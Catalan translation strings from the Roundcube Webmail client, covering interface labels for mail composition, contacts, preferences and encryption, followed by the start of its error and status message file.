$labels['addattachment'] = 'Adjunta un fitxer';
$labels['charset'] = 'Codificació de caràcters';
$labels['editortype'] = 'Tipus d\'editor';
$labels['returnreceipt'] = 'Confirmació de recepció';
$labels['dsn'] = 'Notificació d\'estat de lliurament';
$labels['keepformatting'] = 'Conserva la formatació';
$labels['mailreplyintro'] = 'El $date, $sender va escriure:';
$labels['originalmessage'] = 'Missatge Original';
$labels['selectimage'] = 'Selecciona una imatge';
$labels['addimage'] = 'Afegeix una imatge';
$labels['selectmedia'] = 'Selecciona una pel·lícula';
$labels['addmedia'] = 'Afegeix una pel·lícula';
$labels['encrypt'] = 'Xifra';
$labels['encryptmessage'] = 'Xifra el missatge';
$labels['encryptmessagemailvelope'] = 'Xifra el missatge amb Mailvelope';
$labels['importpubkeys'] = 'Importa claus públiques';
$labels['encryptedsendialog'] = 'Envia el missatge xifrat';
$labels['encryptandsign'] = 'Xifra i signa';
$labels['keyid'] = 'ID de la clau';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Caducat';
$labels['keyrevoked'] = 'Revocat';
$labels['bccinstead'] = 'Fes servir Bcc';
$labels['addheader'] = 'Afegeix destinatari (capçalera)';
$labels['insert'] = 'Insereix';
$labels['insertcontact'] = 'Insereix contacte(s)';
$labels['recipient'] = 'Destinatari';
$labels['recipientedit'] = 'Edita el destinatari';
$labels['editidents'] = 'Edita identitats';
$labels['spellcheck'] = 'Ortografia';
$labels['checkspelling'] = 'Comprova l\'ortografia';
$labels['resumeediting'] = 'Reprèn l\'edició';
$labels['revertto'] = 'Torna a';
$labels['restore'] = 'Recupera';
$labels['restoremessage'] = 'Voleu restaurar el missatge?';
$labels['ignore'] = 'Ignora';
$labels['responses'] = 'Respostes';
$labels['insertresponse'] = 'Introduïu una resposta';
$labels['manageresponses'] = 'Gestiona respostes';
$labels['newresponse'] = 'Crea una nova resposta';
$labels['addresponse'] = 'Afegeix una resposta';
$labels['editresponse'] = 'Edita la resposta';
$labels['editresponses'] = 'Edita respostes';
$labels['responsename'] = 'Nom';
$labels['responsetext'] = 'Text de la resposta';
$labels['attach'] = 'Adjunta';
$labels['attachments'] = 'Adjunts';
$labels['upload'] = 'Afegeix';
$labels['uploadprogress'] = '$percent ($current de $total)';
$labels['close'] = 'Tanca';
$labels['messageoptions'] = 'Opcions de missatge...';
$labels['togglecomposeoptions'] = 'Commuta les opcions de composició';
$labels['attachmentrename'] = 'Reanomena el fitxer adjunt';
$labels['low'] = 'Baixa';
$labels['lowest'] = 'La més baixa';
$labels['normal'] = 'Normal';
$labels['high'] = 'Alta';
$labels['highest'] = 'La més alta';
$labels['nosubject'] = '(sense assumpte)';
$labels['showimages'] = 'Mostra les imatges';
$labels['allow'] = 'Permet';
$labels['alwaysshow'] = 'Mostra sempre les imatges de $sender';
$labels['alwaysallow'] = 'Permet-ho sempre de $sender';
$labels['isdraft'] = 'Aquest és un missatge esborrany.';
$labels['andnmore'] = '$nr més...';
$labels['details'] = 'Detalls';
$labels['summary'] = 'Resum';
$labels['headers'] = 'Capçaleres';
$labels['allheaders'] = 'Totes les capçaleres...';
$labels['togglemoreheaders'] = 'Mostra més capçaleres del missatge';
$labels['togglefullheaders'] = 'Commuta les capçaleres del missatge en brut';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Text net';
$labels['savesentmessagein'] = 'Desa el missatge enviat a';
$labels['dontsave'] = 'no ho desis';
$labels['maxuploadsize'] = 'La mida màxima permesa del fitxer és $size';
$labels['addcc'] = 'Afegeix Cc';
$labels['addbcc'] = 'Afegeix Bcc';
$labels['addreplyto'] = 'Afegeix Respon-A';
$labels['addfollowupto'] = 'Afegeix Seguiment-A';
$labels['sendreceipt'] = 'Voleu enviar el rebut de lectura?';
$labels['mdnrequest'] = 'El remitent d\'aquest missatge ha demanat ser notificat quan llegiu aquest missatge. Voleu notificar al remitent?';
$labels['receiptread'] = 'Confirmació de recepció (llegit)';
$labels['yourmessage'] = 'Això és una confirmació de recepció per al vostre missatge';
$labels['receiptnote'] = 'Nota: Aquesta confirmació només indica que el missatge ha estat mostrat a l\'ordinador del destinatari. No hi ha garantia que el destinatari hagi llegit o entès el contingut del missatge.';
$labels['sendalwaysto'] = 'Envia-ho sempre a $email';
$labels['zoomin'] = 'Apropa-ho';
$labels['zoomout'] = 'Allunya-ho';
$labels['rotate'] = 'Gira-ho';
$labels['increaseimage'] = 'Augmenta la mida de la imatge';
$labels['decreaseimage'] = 'Disminueix la mida de la imatge';
$labels['rotateimage'] = 'Gira la imatge';
$labels['showtools'] = 'Mostra eines d\'imatge';
$labels['hidetools'] = 'Amaga eines d\'imatge';
$labels['name'] = 'Nom visible';
$labels['firstname'] = 'Nom';
$labels['surname'] = 'Cognom';
$labels['middlename'] = 'Segon Nom';
$labels['nameprefix'] = 'Prefix';
$labels['namesuffix'] = 'Sufix';
$labels['nickname'] = 'Àlies';
$labels['jobtitle'] = 'Càrrec';
$labels['department'] = 'Departament';
$labels['gender'] = 'Sexe';
$labels['maidenname'] = 'Cognom de Solter/a';
$labels['email'] = 'Correu electrònic';
$labels['phone'] = 'Telèfon';
$labels['address'] = 'Adreça';
$labels['street'] = 'Carrer';
$labels['locality'] = 'Ciutat';
$labels['zipcode'] = 'Codi postal';
$labels['region'] = 'Estat/Província';
$labels['country'] = 'País';
$labels['birthday'] = 'Data de naixement';
$labels['anniversary'] = 'Aniversari';
$labels['website'] = 'Pàgina web';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Notes';
$labels['male'] = 'home';
$labels['female'] = 'dona';
$labels['manager'] = 'Gerent';
$labels['assistant'] = 'Assistent';
$labels['spouse'] = 'Cònjuge';
$labels['allfields'] = 'Tots els camps';
$labels['search'] = 'Cerca';
$labels['searchresult'] = 'Resultat de la cerca';
$labels['advsearch'] = 'Cerca Avançada';
$labels['advanced'] = 'Paràmetres avançats';
$labels['other'] = 'Un altre';
$labels['printcontact'] = 'Imprimeix el contacte';
$labels['qrcode'] = 'Codi QR';
$labels['typehome'] = 'Casa';
$labels['typework'] = 'Feina';
$labels['typeother'] = 'Un altre';
$labels['typemobile'] = 'Mòbil';
$labels['typemain'] = 'Principal';
$labels['typehomefax'] = 'Fax particular';
$labels['typeworkfax'] = 'Fax de la feina';
$labels['typecar'] = 'Cotxe';
$labels['typepager'] = 'Cercapersones';
$labels['typevideo'] = 'Vídeo';
$labels['typeassistant'] = 'Assistent';
$labels['typehomepage'] = 'Pàgina web personal';
$labels['typeblog'] = 'Bloc';
$labels['typeprofile'] = 'Perfil';
$labels['addfield'] = 'Afegeix camp...';
$labels['addcontact'] = 'Afegeix un contacte';
$labels['editcontact'] = 'Edita el contacte';
$labels['contacts'] = 'Contactes';
$labels['contactproperties'] = 'Propietats del contacte';
$labels['contactnameandorg'] = 'Nom i Organització';
$labels['personalinfo'] = 'Informació personal';
$labels['personal'] = 'Personal';
$labels['contactphoto'] = 'Foto de contacte';
$labels['edit'] = 'Edita';
$labels['cancel'] = 'Cancel·la';
$labels['save'] = 'Desa';
$labels['delete'] = 'Suprimeix';
$labels['discard'] = 'Descarta';
$labels['continue'] = 'Continua';
$labels['ok'] = 'D\'acord';
$labels['rename'] = 'Reanomena';
$labels['addphoto'] = 'Afegeix';
$labels['replacephoto'] = 'Reemplaça';
$labels['uploadphoto'] = 'Afegeix una fotografia';
$labels['choosefile'] = 'Tria un fitxer...';
$labels['choosefiles'] = 'Tria fitxers...';
$labels['browse'] = 'Navega';
$labels['newcontact'] = 'Crea un nou contacte';
$labels['deletecontact'] = 'Suprimeix els contactes seleccionats';
$labels['composeto'] = 'Redacta un correu per a';
$labels['contactsfromto'] = 'Contactes $from a $to de $count';
$labels['print'] = 'Imprimeix';
$labels['export'] = 'Exporta';
$labels['exportall'] = 'Exporta\'ls tots';
$labels['exportsel'] = 'Exporta els seleccionats';
$labels['exportvcards'] = 'Exporta contactes en format vCard';
$labels['newgroup'] = 'Crea un grup nou';
$labels['addgroup'] = 'Afegeix un grup';
$labels['grouprename'] = 'Reanomena el grup';
$labels['groupdelete'] = 'Suprimeix el grup';
$labels['groupassign'] = 'Assigna al grup...';
$labels['groupremove'] = 'Suprimeix del grup';
$labels['groupremoveselected'] = 'Suprimeix els contactes seleccionats del grup';
$labels['uponelevel'] = 'Un nivell amunt';
$labels['previouspage'] = 'Mostra la pàgina anterior';
$labels['firstpage'] = 'Mostra la primera pàgina';
$labels['nextpage'] = 'Mostra la pàgina següent';
$labels['lastpage'] = 'Mostra la darrera pàgina';
$labels['group'] = 'Grup';
$labels['groups'] = 'Grups';
$labels['listgroup'] = 'Llista els membres del grup';
$labels['personaladrbook'] = 'Llibreta d\'adreces personals';
$labels['searchsave'] = 'Desa la cerca';
$labels['searchdelete'] = 'Suprimeix la cerca';
$labels['import'] = 'Importa';
$labels['importcontacts'] = 'Importa contactes';
$labels['importfromfile'] = 'Importa des de fitxer';
$labels['importtarget'] = 'Afegeix contactes a';
$labels['importreplace'] = 'Substitueix la llibreta d\'adreces sencera';
$labels['importgroups'] = 'Importa assignacions de grup';
$labels['importgroupsall'] = 'Tot (crea grups si és necessari)';
$labels['importgroupsexisting'] = 'Només per a grups existents';
$labels['importdesc'] = 'Podeu importar contactes des d\'una llibreta d\'adreces existent. <br/>Actualment es permet la importació d\'adreces des d\'una <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> o en format de dades CSV (dades separades per coma).';
$labels['importmapdesc'] = 'Confirmeu que la informació de mapatge de camps següent és correcta abans de continuar amb la importació de dades CSV (separades per comes).';
$labels['fieldnotmapped'] = 'Camp no mapat (no ho importeu)';
$labels['skipheader'] = 'No importis la primera línia (capçaleres)';
$labels['done'] = 'Fet';
$labels['settingsfor'] = 'Configuració per a';
$labels['about'] = 'Quant a';
$labels['preferences'] = 'Preferències';
$labels['userpreferences'] = 'Preferències de l\'usuari';
$labels['editpreferences'] = 'Edita les preferències de l\'usuari';
$labels['identities'] = 'Identitats';
$labels['manageidentities'] = 'Gestiona les identitats';
$labels['newidentity'] = 'Crea una nova identitat';
$labels['addidentity'] = 'Afegeix una identitat';
$labels['editidentity'] = 'Edita la identitat';
$labels['identityencryption'] = 'Encriptació';
$labels['preferhtml'] = 'Mostra HTML';
$labels['defaultcharset'] = 'Joc de caràcters per defecte';
$labels['htmlmessage'] = 'Missatge HTML';
$labels['messagepart'] = 'Part';
$labels['digitalsig'] = 'Signatura digital';
$labels['dateformat'] = 'Format de la data';
$labels['timeformat'] = 'Format horari';
$labels['prettydate'] = 'Dates curtes';
$labels['setdefault'] = 'Posa-ho per defecte';
$labels['autodetect'] = 'Auto';
$labels['language'] = 'Idioma';
$labels['timezone'] = 'Fus horari';
$labels['pagesize'] = 'Files per pàgina';
$labels['signature'] = 'Signatura';
$labels['dstactive'] = 'Horari d\'estiu';
$labels['showinextwin'] = 'Obre el missatge en una nova finestra';
$labels['composeextwin'] = 'Redacta en una nova finestra';
$labels['htmleditor'] = 'Escriu missatges en HTML';
$labels['htmlonreply'] = 'només en resposta a missatges en HTML';
$labels['htmlonreplyandforward'] = 'quan es reenviï o es respongui un missatge en HTML';
$labels['htmlsignature'] = 'Signatura en HTML';
$labels['showemail'] = 'Mostra l\'adreça electrònica amb el nom';
$labels['previewpane'] = 'Mostra el panell de previsualització';
$labels['skin'] = 'Aparença de la interfície';
$labels['logoutclear'] = 'Buida la paperera quan es tanqui la sessió';
$labels['logoutcompact'] = 'Compacta la safata d\'entrada quan es tanqui la sessió';
$labels['uisettings'] = 'Interfície de l\'usuari';
$labels['serversettings'] = 'Configuració del servidor';
$labels['mailboxview'] = 'Vista de la bústia';
$labels['mdnrequests'] = 'Quan es demani confirmació de recepció';
$labels['askuser'] = 'demana\'m què vull fer';
$labels['autosend'] = 'envia la confirmació de recepció';
$labels['autosendknown'] = 'envia la confirmació de recepció als meus contactes, pels demés demana-m\'ho';
$labels['autosendknownignore'] = 'envia la confirmació als meus contactes, pels demés ignora-ho';
$labels['autosendtrusted'] = 'envia el rebut als remitents de confiança; en cas contrari, pregunta-m\'ho';
$labels['autosendtrustedignore'] = 'envieu el rebut als remitents de confiança; en cas contrari, ignora-ho';
$labels['ignorerequest'] = 'Ignora la petició';
$labels['readwhendeleted'] = 'Marca el missatge com a llegit quan se suprimeixi';
$labels['flagfordeletion'] = 'Marca el missatge com a suprimit en comptes de suprimir-lo';
$labels['skipdeleted'] = 'No mostris els missatges suprimits';
$labels['deletealways'] = 'Si falla quan es mou un missatge a la Paperera, aleshores suprimeix-lo';
$labels['deletejunk'] = 'Suprimeix directament els missatges de correu brossa';
$labels['showremoteimages'] = 'Mostra les imatges remotes del missatge';
$labels['allowremoteresources'] = 'Permet recursos remots (imatges, estils)';
$labels['fromknownsenders'] = 'de remitents coneguts';
$labels['fromtrustedsenders'] = 'de remitents de confiança';
$labels['frommycontacts'] = 'dels meus contactes';
$labels['always'] = 'sempre';
$labels['alwaysbutplain'] = 'sempre, excepte quan es respon en text net';
$labels['showinlineimages'] = 'Mostra les imatges adjuntes sota el missatge';
$labels['autosavedraft'] = 'Desa l\'esborrany automàticament';
$labels['everynminutes'] = 'cada $n minut(s)';
$labels['refreshinterval'] = 'Actualitza (comprova nous missatges, etc.)';
$labels['never'] = 'mai';
$labels['immediately'] = 'immediatament';
$labels['messagesdisplaying'] = 'Vista de missatges';
$labels['messagescomposition'] = 'Composició de missatges';
$labels['mimeparamfolding'] = 'Noms dels adjunts';
$labels['2231folding'] = 'Compleix RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Compleix RFC 2047 (un altre)';
$labels['force7bit'] = 'Fes servir la codificació MIME per a caràcters de 8-bits';
$labels['savelocalstorage'] = "Desa-ho (temporalment) a l'espai local del navegador";
$labels['advancedoptions'] = 'Opcions avançades';
$labels['toggleadvancedoptions'] = 'Commuta les opcions avançades';
$labels['focusonnewmessage'] = 'Activa la finestra del navegador quan hi hagi un nou missatge';
$labels['checkallfolders'] = 'Comprova totes les carpetes per missatges nous';
$labels['displaynext'] = 'Mostra la següent entrada de la llista després de suprimir/moure';
$labels['defaultfont'] = 'Font de lletra per defecte del missatge en HTML';
$labels['mainoptions'] = 'Opcions principals';
$labels['browseroptions'] = 'Opcions del navegador';
$labels['section'] = 'Secció';
$labels['maintenance'] = 'Manteniment';
$labels['newmessage'] = 'Missatge nou';
$labels['signatureoptions'] = 'Opcions de signatura';
$labels['whenreplying'] = 'Quan es respongui';
$labels['replyempty'] = 'no citis el missatge original';
$labels['replytopposting'] = 'comença el missatge nou a sobre de l\'original';
$labels['replytoppostingnoindent'] = 'comença el missatge nou a sobre de l\'original (sense sagnat)';
$labels['replybottomposting'] = 'comença el missatge nou per sota de l\'original';
$labels['replyremovesignature'] = 'Quan es respongui suprimeix la signatura original del missatge';
$labels['autoaddsignature'] = 'Afegeix la signatura automàticament';
$labels['newmessageonly'] = 'només si és un missatge nou';
$labels['replyandforwardonly'] = 'només a respostes i reenviaments';
$labels['insertsignature'] = 'Inclou la signatura';
$labels['sigbelow'] = 'Posa la signatura a sota del missatge que es respon';
$labels['sigseparator'] = 'Força el separador estàndard de signatures';
$labels['automarkread'] = 'Marca els missatges com a llegits';
$labels['afternseconds'] = 'després de $n segons';
$labels['reqmdn'] = 'Demana sempre la confirmació de recepció';
$labels['reqdsn'] = 'Demana sempre una notificació d\'estat de lliurament';
$labels['replysamefolder'] = 'Posa les respostes a la carpeta del missatge que es respon';
$labels['defaultabook'] = 'Llibreta d\'adreces per defecte';
$labels['autocompletesingle'] = 'Omet adreces alternatives quan s\'autocompleti';
$labels['listnamedisplay'] = 'Llista contactes com a';
$labels['contactformmode'] = 'Mode de formulari de contacte';
$labels['privatemode'] = 'Privat (casa)';
$labels['businessmode'] = 'Empresa (feina)';
$labels['collectedaddresses'] = 'Adreces recollides';
$labels['collectedrecipients'] = 'Destinataris recollits';
$labels['collectedrecipientsopt'] = 'Emmagatzema els destinataris de correu electrònic de sortida a';
$labels['collectedsendersopt'] = 'Emmagatzema els remitents de confiança a';
$labels['trustedsenders'] = 'Remitents de Confiança';
$labels['spellcheckbeforesend'] = 'Comprova l\'ortografia abans d\'enviar un missatge';
$labels['spellcheckoptions'] = 'Opcions del corrector ortogràfic';
$labels['spellcheckignoresyms'] = 'Ignora paraules amb símbols';
$labels['spellcheckignorenums'] = 'Ignora paraules amb números';
$labels['spellcheckignorecaps'] = 'Ignora paraules amb lletres capitalitzades';
$labels['addtodict'] = 'Afegeix al diccionari';
$labels['mailtoprotohandler'] = 'Registra controlador de protocol pels enllaços mailto:';
$labels['standardwindows'] = 'Gestiona les finestres emergents com si fossin finestres normals';
$labels['forwardmode'] = 'Reenviament de missatges';
$labels['inline'] = 'en línia';
$labels['asattachment'] = 'com un adjunt';
$labels['replyallmode'] = 'Acció per defecte del botó [Respon a tots]';
$labels['replyalldefault'] = 'respon a tots';
$labels['replyalllist'] = 'respon només a la llista de missatges (si n\'hi ha cap)';
$labels['allmessages'] = 'tots els missatges';
$labels['olderxdays'] = 'més antic de $x dies';
$labels['folder'] = 'Carpeta';
$labels['folders'] = 'Carpetes';
$labels['foldername'] = 'Nom de la carpeta';
$labels['subscribed'] = 'Subscrit';
$labels['messagecount'] = 'Missatges';
$labels['create'] = 'Crea';
$labels['createfolder'] = 'Crea una carpeta nova';
$labels['managefolders'] = 'Gestiona carpetes';
$labels['specialfolders'] = 'Carpetes especials';
$labels['properties'] = 'Propietats';
$labels['folderproperties'] = 'Propietats de la carpeta';
$labels['parentfolder'] = 'Carpeta superior';
$labels['location'] = 'Ubicació';
$labels['info'] = 'Informació';
$labels['getfoldersize'] = 'Feu clic per veure la mida de la carpeta';
$labels['changesubscription'] = 'Feu clic per canviar la subscripció';
$labels['foldertype'] = 'Tipus de Carpeta';
$labels['personalfolder'] = 'Carpeta privada';
$labels['otherfolder'] = 'Carpeta d\'un altre usuari';
$labels['sharedfolder'] = 'Carpeta pública';
$labels['findfolders'] = 'Cerca carpetes';
$labels['findcontacts'] = 'Cerca contactes';
$labels['findmail'] = 'Cerqueu missatges de correu electrònic';
$labels['namespace.personal'] = 'Personal';
$labels['namespace.other'] = 'Altres usuaris';
$labels['namespace.shared'] = 'Compartit';
$labels['dualuselabel'] = 'Només pot contenir';
$labels['dualusemail'] = 'missatges';
$labels['dualusefolder'] = 'carpetes';
$labels['generate'] = 'Genera';
$labels['encryptioncreatekey'] = 'Crea un nou parell de claus';
$labels['openmailvelopesettings'] = 'Obre la configuració de Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Teniu $nr claus privades coincidents emmagatzemades al vostre anell de claus de Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Aquesta identitat del remitent encara no té cap clau privada PGP emmagatzemada a la vostra extensió Mailvelope. Voleu crear-ne una per activar la missatgeria xifrada?';
$labels['encryption'] = 'Encriptació';
$labels['mailvelopeoptions'] = 'Opcions de Mailvelope';
$labels['mailvelopemainkeyring'] = 'Fes servir l’anell de claus principal de Mailvelope';
$labels['mailvelopenotfound'] = 'L\'extensió Mailvelope no està activada/instal·lada al vostre navegador.';
$labels['sortby'] = 'Ordena per';
$labels['sortasc'] = 'Ordena ascendentment';
$labels['sortdesc'] = 'Ordena descendentment';
$labels['undo'] = 'Desfés';
$labels['installedplugins'] = 'Complements instal·lats';
$labels['plugin'] = 'Complement';
$labels['version'] = 'Versió';
$labels['source'] = 'Font';
$labels['destination'] = 'Destinació';
$labels['license'] = 'Llicència';
$labels['support'] = 'Obtingueu ajuda';
$labels['savedsearches'] = 'Cerques desades';
$labels['dateformatY'] = 'AAAA';
$labels['dateformaty'] = 'AA';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Anglès';
$labels['westerneuropean'] = 'Europeu occidental';
$labels['easterneuropean'] = 'Europeu oriental';
$labels['southeasterneuropean'] = 'Europeu Sud-Oriental';
$labels['baltic'] = 'Bàltic';
$labels['cyrillic'] = 'Ciríl·lic';
$labels['arabic'] = 'Àrab';
$labels['greek'] = 'Grec';
$labels['hebrew'] = 'Hebreu';
$labels['turkish'] = 'Turc';
$labels['nordic'] = 'Nòrdic';
$labels['thai'] = 'Tailandès';
$labels['celtic'] = 'Cèltic';
$labels['vietnamese'] = 'Vietnamita';
$labels['japanese'] = 'Japonès';
$labels['korean'] = 'Coreà';
$labels['chinese'] = 'Xinès';
$labels['arialabeltopnav'] = 'Finestra de control';
$labels['arialabeltasknav'] = 'Aplicació de tasques';
$labels['arialabeltoolbar'] = 'Aplicació de barra d\'eines';
$labels['arialabellistnav'] = 'Navegació per llistes';
$labels['arialabelactivetask'] = 'Tasca activa';
$labels['arialabelmessagessearchfilter'] = 'Filtre de llistat de correus electrònics';
$labels['arialabelmailsearchform'] = 'Formulari de cerca de correus electrònics';
$labels['arialabelcontactsearchform'] = 'Formulari de cerca de contactes';
$labels['arialabelmailquicksearchbox'] = 'Entrada per la cerca de correus electrònics';
$labels['arialabelquicksearchbox'] = 'Entrada de cerca';
$labels['arialabelfoldersearchfilter'] = 'Filtre de llistat de carpetes';
$labels['arialabelfoldersearchform'] = 'Formulari de cerca de carpetes';
$labels['arialabelfolderlist'] = 'Selecció de carpeta de correu electrònic';
$labels['arialabelmessagelist'] = 'Llistat de missatges de correu electrònic';
$labels['arialabelmailpreviewframe'] = 'Previsualitza el missatge';
$labels['arialabelmailboxmenu'] = 'Menú d\'accions de carpeta';
$labels['arialabellistselectmenu'] = 'Menú de seleccions de la llista';
$labels['arialabelthreadselectmenu'] = 'Menú de llistat de fils';
$labels['arialabelmessagelistoptions'] = 'Opcions de visualització de llista de missatges i ordenació';
$labels['arialabelmailimportdialog'] = 'Diàleg per importar missatges';
$labels['arialabelmessagenav'] = 'Missatge de navegació';
$labels['arialabelmessagebody'] = 'Cos del missatge';
$labels['arialabelmessageactions'] = 'Accions del missatge';
$labels['arialabelcontactquicksearch'] = 'Formulari per la cerca de contactes';
$labels['arialabelcontactsearchbox'] = 'Entrada per la cerca de contactes';
$labels['arialabelmessageheaders'] = 'Capçaleres del missatge';
$labels['arialabelforwardingoptions'] = 'Opcions de re-enviament';
$labels['arialabelreplyalloptions'] = 'Opcions per respondre a tots';
$labels['arialabelmoremessageactions'] = 'Més accions de missatge';
$labels['arialabelmorecontactactions'] = 'Més accions de contacte';
$labels['arialabelmarkmessagesas'] = 'Marca els missatges seleccionats com a...';
$labels['arialabelcomposeoptions'] = 'Opcions de composició';
$labels['arialabelresponsesmenu'] = 'Menú de respostes \'enllaunades\' o establertes';
$labels['arialabelattachmentuploadform'] = 'Formulari per pujar adjunts';
$labels['arialabelattachmentmenu'] = 'Opcions de fitxers adjunts';
$labels['arialabelmailtomenu'] = 'Opcions d’adreça de correu electrònic';
$labels['arialabelattachmentpreview'] = 'Previsualitza l\'adjunt';
$labels['ariasummarycomposecontacts'] = 'Llista de contactes i grups per seleccionar com a destinataris';
$labels['arialabelcontactexportoptions'] = 'Opcions per exportar contactes';
$labels['arialabelabookgroupoptions'] = 'Opcions de llibreta d\'adreces/grup';
$labels['arialabelpreferencesform'] = 'Formulari de preferències';
$labels['arialabelidentityeditfrom'] = 'Formulari d\'edició d\'identitats';
$labels['arialabelresponseeditfrom'] = 'Formulari d\'edició de respostes';
$labels['arialabelsearchterms'] = 'Cerca termes';
$labels['arialabeldropactionmenu'] = 'Menú d\'accions d\'Arrossega i Deixa anar';
$labels['arialabelheadersmenu'] = 'Menú per afegir el destinatari (capçalera)';
$labels['arialabelimagetools'] = 'Eines d\'imatge';
$labels['helplistnavigation'] = 'Llista la navegació per teclat';
$labels['helplistkeyboardnavigation'] = "Fletxes amunt/avall: Mou la fila seleccionada/activa.
Espai: Selecciona la fila activa.
Majús + amunt/avall: Selecciona una fila addicional de sobre/sota.
Ctrl + Espai: Afegeix la fila activa a la selecció/suprimeix de la selecció.";
$labels['helplistkeyboardnavmessages'] = "Fletxes dreta/esquerra: expandeix/contrau fils del missatge (només en mode fils).
Retorn: Obre el missatge seleccionat/actiu.
Suprimeix: Mou els missatges seleccionats a la Paperera.";
$labels['helplistkeyboardnavcontacts'] = "Retorn: Obre el contacte seleccionat/actiu";
PK
h�\�l�r�L�L'program/localization/ca_ES/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Hi ha hagut un error!';
$messages['loginfailed']  = 'L\'accés ha fallat.';
$messages['cookiesdisabled'] = 'El vostre navegador no accepta galetes.';
$messages['sessionerror'] = 'La vostra sessió no existeix o ha caducat.';
$messages['cookiesmismatch'] = 'S\'ha detectat un desajust de galetes. Si us plau, netegeu les galetes del vostre navegador.';
$messages['storageerror'] = 'Ha fallat la connexió amb el servidor d\'emmagatzematge.';
$messages['servererror'] = 'Error del Servidor!';
$messages['servererrormsg'] = 'Error del Servidor: $msg';
$messages['accountlocked'] = 'Hi ha hagut masses intents erronis d\'inici de sessió. Torneu a provar-ho més tard.';
$messages['connerror'] = 'Error de connexió (no s\'ha pogut establir la connexió amb el servidor)!';
$messages['dberror'] = 'Error a la Base de Dades!';
$messages['dbconnerror'] = 'No s\'ha pogut connectar a la base de dades!';
$messages['windowopenerror'] = 'La finestra emergent ha estat blocada!';
$messages['requesttimedout'] = 'S\'ha exhaurit el temps de la sol·licitud';
$messages['errorreadonly'] = 'No s\'ha pogut de realitzar l\'operació. La carpeta és de només lectura.';
$messages['errornoperm'] = 'No s\'ha pogut realitzar l\'operació. Permís denegat.';
$messages['erroroverquota'] = 'No s\'ha pogut completar l\'operació. No hi ha prou espai lliure al disc dur.';
$messages['erroroverquotadelete'] = 'No hi ha prou espai lliure al disc. Feu servir MAJÚS+SUPR per suprimir el missatge.';
$messages['invalidrequest'] = 'Petició no vàlida! No s\'han desat les dades.';
$messages['invalidhost'] = 'Nom de servidor no vàlid.';
$messages['nomessagesfound'] = 'No s\'han trobat missatges en aquesta bústia.';
$messages['loggedout'] = 'Heu finalitzat correctament la sessió. A reveure!';
$messages['mailboxempty'] = 'La bústia és buida';
$messages['nomessages'] = 'No hi ha missatges';
$messages['refreshing'] = 'S\'està actualitzant...';
$messages['loading'] = 'S\'està carregant…';
$messages['uploading'] = 'S\'està pujant el fitxer...';
$messages['attaching'] = 'S\'està adjuntant el fitxer...';
$messages['uploadingmany'] = 'S\'estan pujant els fitxers...';
$messages['loadingdata'] = 'S\'estan carregant les dades...';
$messages['checkingmail'] = 'S’està comprovant si hi ha missatges nous…';
$messages['sendingmessage'] = 'S’està enviant el missatge…';
$messages['messagesent'] = 'Missatge enviat correctament.';
$messages['savingmessage'] = 'S\'està desant el missatge...';
$messages['messagesaved'] = 'Missatge desat a Esborranys.';
$messages['successfullysaved'] = 'Desat correctament.';
$messages['savingresponse'] = 'S\'està desant el text de resposta...';
$messages['deleteresponseconfirm'] = 'Esteu segur de voler suprimir aquest text de resposta?';
$messages['nocontactselected'] = 'Encara no heu seleccionat un contacte.';
$messages['addedsuccessfully'] = 'Contacte afegit correctament a la llibreta d\'adreces.';
$messages['contactexists'] = 'Ja existeix un contacte amb la mateixa adreça de correu electrònic.';
$messages['contactnameexists'] = 'Ja existeix un contacte amb el mateix nom.';
$messages['blockedimages'] = 'Per protegir la vostra privadesa, les imatges remotes han estat blocades en aquest missatge.';
$messages['blockedresources'] = 'Per protegir la vostra privacitat s\'han blocat els recursos remots.';
$messages['suspiciousemail'] = 'Aquest missatge conté adreces de correu electrònic sospitoses que poden ser fraudulentes.';
$messages['bccemail'] = 'Els missatges reenviats contenen destinataris confidencials (Cco).';
$messages['bouncehint'] = 'El missatge s’enviarà sense cap modificació, és a dir, fent servir el cos original, les capçaleres i els destinataris.';
$messages['encryptedmessage'] = 'Aquest és un missatge xifrat i no pot ser mostrat. Ho sento!';
$messages['externalmessagedecryption'] = 'Aquest és un missatge xifrat i pot ser desxifrat amb un complement del vostre navegador.';
$messages['nopubkeyfor'] = 'No s\'ha trobat una clau pública vàlida per $email';
$messages['nopubkeyforsender'] = 'No s\'ha trobat una clau pública vàlida per la identitat del vostre remitent. Voleu xifrar el missatge només pels destinataris?';
$messages['encryptnoattachments'] = 'No s\'han pogut encriptar els adjunts ja carregats. Si us plau, afegiu-los de nou a l\'editor d\'encriptació.';
$messages['searchpubkeyservers'] = 'Voleu cercar en servidors de claus públiques les vostres claus no trobades?';
$messages['encryptpubkeysfound'] = 'S\'han trobat les següents claus públiques:';
$messages['keyservererror'] = 'No s\'ha pogut obtenir la clau del servidor de claus.';
$messages['keyimportsuccess'] = 'La clau pública $key s\'ha importat correctament al vostre anell de claus.';
$messages['nocontactsfound'] = 'No s\'ha trobat cap contacte.';
$messages['contactnotfound'] = 'No s\'ha trobat el contacte sol·licitat.';
$messages['contactsearchonly'] = 'Heu de fer servir un formulari de cerca per veure els contactes de la llibreta d’adreces seleccionada.';
$messages['sendingfailed'] = 'Error mentre s\'enviava el missatge.';
$messages['senttooquickly'] = 'Si us plau, espereu $sec segon(s) abans d\'enviar aquest missatge.';
$messages['errorsavingsent'] = 'S\'ha produït un error mentre es desava el missatge enviat.';
